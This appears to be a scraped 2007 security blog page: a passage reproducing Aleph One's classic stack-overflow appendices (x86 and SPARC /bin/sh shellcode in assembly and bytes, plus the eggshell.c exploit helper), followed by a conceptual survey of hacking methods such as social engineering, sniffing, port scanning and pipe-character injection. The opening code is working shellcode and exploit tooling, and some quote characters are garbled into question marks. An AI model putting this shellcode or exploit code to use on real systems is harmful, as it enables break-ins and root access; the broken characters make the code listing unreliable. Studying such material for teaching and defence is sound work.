movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0×8(%esi),%ecx
leal 0xc(%esi),%edx
int $0×80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0×80
call -0×24
.string \”/bin/sh\”
——————————————————————————
SPARC/Solaris
——————————————————————————
sethi 0xbd89a, %l6
or %l6, 0×16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0×3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
——————————————————————————
SPARC/SunOS
——————————————————————————
sethi 0xbd89a, %l6
or %l6, 0×16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0×3b, %g1
mov -0×1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
——————————————————————————
Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
——————————————————————————
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = “\x90?;
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]=”\xac\x15\xa1\x6e”;
char shellcode[] =
“\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e”
“\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0?
“\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08?
“\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08?;
unsigned long get_sp(void) {
__asm__(”or %sp, %sp, %i0?);
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]=”\xac\x15\xa1\x6e”;
char shellcode[] =
“\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e”
“\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0?
“\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff”
“\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01?;
unsigned long get_sp(void) {
__asm__(”or %sp, %sp, %i0?);
}
#endif
——————————————————————————
eggshell.c
——————————————————————————
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include
#include
#include “shellcode.h”
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, “a:b:e:o:”)) != EOF)
switch (c) {
case ‘a’:
align = atoi(optarg);
break;
case ‘b’:
bsize = atoi(optarg);
break;
case ‘e’:
eggsize = atoi(optarg);
break;
case ‘o’:
offset = atoi(optarg);
break;
case ‘?’:
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf(”Shellcode is larger the the egg.\n”);
exit(0);
}
if (!(bof = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}
addr = get_sp() - offset;
printf(”[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n”,
bsize, eggsize, align);
printf(”[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n”, addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = ‘\0';
egg[eggsize - 1] = ‘\0';
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(bof,”BOF=”,4);
putenv(bof);
system(”/bin/sh”);
}
void usage(void) {
(void)fprintf(stderr,
“usage: eggshell [-a
}
——————————————————————————
buffer overflow
Comments (0)
November 1, 2007
Different Hacking Methods
Filed under: packet sniffing, ip spoofing, fingerprinting, port scan, keylogger, root shell, reverse engineering, wetware, virus, buffer overflow, trojan — admin @ 9:56 pm
buffer overflow fingerprinting ip spoofing keylogger packet sniffing port scan reverse engineering root shell trojan virus wetware
Understanding different hacking method in the world of security is important. These are few of the general methods used in the industry to exploit .
1). Reverse Engineering : Describes how to crack software programs.
2). WetWare : Wet-ware is to the brain as software is to the CPU. While many hackers don’t seriously
consider wetware hacking, it is frequently more powerful than technical hacking.
3). Technical : Hacking computer systems/networks via holes, bugs, and by brute force.
4). Reconnaissance : The first stage of an attack to map our the victim
5). Tunnels : Getting in through firewalls and/or back out again
In Detail :
1). Reverse Engineering :
Reverse Engineering is the process of looking at compiled programs and figuring out how they work.
In Windows :
- Dumpbin : This utility will let you see which calls an executable is making. For example, if it calls functions from winsock, MPR.DLL, or netapi32.dll, then it is probably networking enabled. Comes with SDK or Visual C++.
- sysinternals.com : This site has numerous programs for delving into the system internals of Windows NT and Windows 9x.
Decompilation : Converting the compiled code back into easier-to-read code that can be manipulated - Decompilation is the process of taking compiled code and converting it back to the original source code. This is fairly easy for higher-level languages like Java, VisualBasic, Delphi, etc. It is extremely difficult to impossible for languages like C and C++.
2). WetWare : While most hacking employ technical intrusions, they may also be social, such as calling somebody claiming to be somebody else and requesting a file to be sent to an e-mail drop. The common term for this is a “wetware” intrusion, where wet-ware is the programming of the brain, as opposed to software.
Common social intrusions are:
- Social engineering Where the hacker subverts trust relationships or relies upon predictable behavior.
- Bribery : Often the easiest way to break in is simply pass a C-note to a night guard to allow access to a remote office, which has full access to the corporate network.
- Impersonation : A surprisingly successful technique is to pretend to be from MIS and call a user asking for their password.
-Dumpster diving : An enormous amount of corporate and personal data ends up in the trash. Simply pulling bank statements from the trash is an easy way to steal money.
WetWare : It contains the following :
- Social Engineering : Human manipulation through common behaviors and trust relationships
- Bribery : Good method for well-chosen targets.
- Impersonation : Requires good acting skills.
- Deception : Bald face lies.
- Shoulder Surfing : Standing behind someone watching them.
- Dumpster Diving : A powerful, usually legal, source of information that isn’t seriously defended
because of social taboos.
Social engineering :is the oldest method of hacker attack. In a social engineering attack, the hacker
contacts the victim pretending to be somebody else. The most common social engineering
attacks convince people to either reveal their passwords or run programs.
Important note: Network administrators don’t need to know your password. If you are ever asked for your
password, it is ALWAYS a social engineering attack. AOL users are continuously being
hacked in this manner. Likewise, never run a program that somebody sends you unsolicited.
Typical targets:
- Users : computer users are extremely gullible and can be easily manipulated.
- Administrators : Computer administrators are predictable in their response patterns.
- Infrastructure : secretaries, guards all can be manipulated, especially since they are clueless to
the implications of an intrusion.
3). Technical Method :
Technical intrusions, as opposed to wetware intrusions, are what most hackers think of. They attempt
to subvert:
· system defaults
· system holes
· system bugs
· brute force (ie. password cracking)
The most powerful feature in today’s world is that ability to attack remotely:
- Internet attacks : The hacker can be in another country; these days with increased cybercrime cell
counter-hacker activity, most attacks coming in from the Internet to the organizations
come from foreign companies.
- Trojan attacks : The hacker sends people files that when they run, attack the target and relay
information out via e-mail or file transfer. CD-ROMs may have an ‘autorun’ feature that
will activate simply by placing the disk in a drive. They can masquarade as games
snail-mailed to someone or simply left behind in a parking garage that a curious person
might pick up and take to their office.
- Virus : Today’s viruses frequently contain Trojan horses that communicate with the virus writer via the Internet.
It contain different technique as follows :
- Brute force : This techniques tries all combinations until it succeeds in bypassing security.
For an example, a high-school student has build a device that tries all possible
combinations on a padlock in about an hour in order to find the correct combination.
- Buffer overflow : one of the most popular hacking techniques ,the buffer overflow attack is one
of the most common on the Internet. Just like the Y2K problem occurred because of
the common coding mistake of using 2-digits, the buffer overflow bug is caused by a
typical mistake of not double-checking input, and allowing large input (like a login
name of a thousand characters) “overflow” into some other region of memory, causing
a crash or a break-in.
1. FTP Buffer Overflows : http://www.cert.org/advisories/CA-1999-03.html
2. Buffer Overflow in Some Implementations of IMAP Servers :
http://www.cert.org/advisories/CA-1998-09.html
3. Remotely Exploitable Buffer Overflow Vulnerability in mountd :
http://www.cert.org/advisories/CA-1998-12.html
- CGI : attacking web-servers through the CGI interface - CGI is the name of the standard that
allows a web-server to call an external program in order to generate “dynamic” content. This
has enormous implications for security. Not only must security managers harden the web-server
against attack, they must also harden each and every CGI program. This task enormous, which
leads to numerous failures. Most defaced web pages are through CGI programs.
Scanning a website for CGI programs is almost as popular as port scanning. A broad-spectrum
scanner is used to enumerate through hundreds of CGI programs that have known vulnerabilities
in them. If a vulnerable CGI program is found, then it will be exploited in order to break
into a server.
There are many classes of vulnerable programs:
- Defaults : Some programs do not contain security holes themselves, but the default configuration may
lead to compromise. For example, RedHat 6.0 includes the default Squid “cachemgr.cgi” in its
cgi-bin directory without any password in the squid.conf file to protect it.
- Directory Traversal : One of the most common exploits on the Internet is a technique known as
“directory traversal”, “directory climbing”, “backtracking”. This technique
involves entering in the sequence of characters such as “../..” onto the end of a path.
- Format string
- Root shell : The “holy grail” of an attack (such as a buffer overflow) is the creation of a “root shell”. On UNIX, the “root” user has control over the machine. An exploit will attempt to obtain a shell prompt from which any command can be entered that will execute with root privileges.
In many remote attacks, the attacker will run an exploit script that breaks into the server, then establishes a root shell bound to a TCP connection. The attacker can then remotely enter commands into the system. There are three ways that such shells can be bound to connections:
1. Conversion : The TCP connection used to exploit the server (such as for FTP, DNS, RPC) is converted to a shell-prompt.
2. Listen : The most popular mechanism is to register /bin/sh within the inetd service bound to a particular port. This will allow the attacker back into the server at any time by connecting to that port. This has the disadvantage that firewalls will often block access to this additional port.
3. Connect : The exploit code creates an outbound connection from the exploited machine back to the attacker.
- Resource mismatch : One of the most common Denial of Service techniques. Sometimes it takes significantly more resources, in terms of CPU or network traffic, for one side of a connection. A hacker can exploit this in order to burn up these resources on the victim without having a similar impact on his/her own machine.
- Keylogger : Eavesdropping on user’s keystrokes - When a hacker/cracker breaches a system, they usually install two kinds of a services: a packet sniffer to record network traffic, and a keylogger to record all the user’s keystrokes. Such programs can reveal passwords as well as sensitive data.
- Packet sniffing : It is a form of wire-tap applied to computer networks instead of phone networks. It came into vogue with Ethernet, which is known as a “shared medium” network. This means that traffic on a segment passes by all hosts attached to that segment. Ethernet cards have a filter that prevents the host machine from seeing traffic addressed to other stations. Sniffing programs turn off the filter, and thus see everyones traffic.
Today’s networks are increasingly employing “switch” technology, preventing this technique from being as successful as in the past. It is still useful, though, as it is becoming increasingly easy to install remote sniffing programs on servers and routers, through which a lot of traffic flows.
Today’s networks may already contain built-in sniffing modules. Most hubs support the RMON standard, which allow the intruder to sniff remotely using SNMP, which has weak authentication. Many corporations employ Network Associates “Distributed Sniffer Servers”, which are set up with easy to guess passwords. Windows NT machines often have a “Network Monitoring Agent” installed, which again allows for remote sniffing.
Packets sniffing is difficult to detect, but it can be done. But the difficulty of the solution means that in practice, it is rarely done.
The popularity of packet sniffing stems from the fact that it sees everything.
Typical items sniffed include:
- SMTP, POP, IMAP traffic : Allows intruder to read the actual e-mail.
- POP, IMAP, HTTP Basic, Telnet authentication : Reads passwords off the wire in clear-text.
- SMB, NFS, FTP traffic : Reads files of the wire.
- SQL databse : Reads financial transactions and credit card numbers.
Not only can sniffing read information that helps break into a system, it is an intrusion by itself because it reads the very files the intruder is interested in.
This technique can be combined with active transmission for even more effective attacks.
IP spoofing : When the sniffing program is on a segment between two communicating end points, the intruder can impersonate one end in order to hijack the connection. This is often combined with a denial of service (DoS) attack against the forged address so they don’t interfere anymore.
Raw transmit : Allows abonormal traffic to be generated, such as TCP SYN floods, overlapped fragments, illegal fragments, and TCP fingerprinting. The best attack is severe fragmentation, which fragments the TCP header in order to prevent firewalls from filtering by port number.
Packet sniffing tools are usually written by hackers. There are many extensions for pulling desired data off the network. The most popular are password sniffing programs.
- Crack : Breaking passwords
- Fingerprinting : Discovering version of system by sending weird data at it - It is the technique of interpreting the responses of a system in order to figure out what it is. In particular, unexpected combinations of data are sometimes sent at the system in order to trigger these responses. This is because whether most systems may respond the same with correct data, they rarely respond the same way when sent data that the programmers didn’t expect.
- Grind : guessing passwords remotely
- Password theft : Sometimes passwords can be stolen directly without having to crack them - Password stealing is the “Holy Grail” of hacking. Once a username/password combination has been found, the hacker has free rein to exploit that user account. Firewalls, intrusion detection systems, encryption, and other countermeasures are powerless against stolen accounts — precisely because it is impossible to distinguish between the real user and somebody posing as the user.
- Port Scan : How hackers find services that can be exploited. - Port Scanning is one of the most popular reconnaisance techniques hackers use to discover services they can break into. A potential victim computer runs many ’services’ that listen at well-known ‘ports’. By scanning which ports are available on the victim, the hacker finds potential weaknesses that can be exploited.
The various techniques in scanning are:
- Vanilla : Attempts to connect to all the ports
- strobe : Connects to a few ports
- stealth scan : Uses SYN scan, FIN scans, or other techniques to prevent logging of the scan
- FTP bounce scan : Bounces through an FTP server to hide where the hacker comes from
- Fragmented packets - Pentrates simple packet filter firewalls
- UDP : Finds open UDP ports
- Sweep : Connects to one port on a lot of machines
The simplest port scan simply tries each of the 65536 available ports on the victim to see which ones are open. A strobe does a more narrow scan, only looking for those services the hacker knows how to exploit (typically 5-20 services).
- Bounce : sending attacks through someone else
- Passthrough : Passing input that is accepted at one layer down into a system that can’t handle it.
Metacharacters : Passing input that is accepted at one layer down into a system that can’t handle it - Many applications, services, and operating systems are built with a modular approach. Because of this, input provided by the user may pass through multiple modules. What is accepted by one module may cause a problem within another module.
The classic example of this is the “PIPE passthrough” bug, which afflicts e-mail servers, FTP servers, web servers, scripting languages, and the like. For example, many PERL programs allow the user to input a filename, and then pass the filename to the a program via a shell command. However, the shell may interpret characters differently than the PERL program. In particular, if the user puts a PIPE character (|) as part of the file name, the shell will instead attempt to execute the rest of the “filename” as a program. The attacking user simply creates an interesting program that allows them to break into the system.
- Spoofing : pretending to be someone else
- Source Routing
No comments:
Post a Comment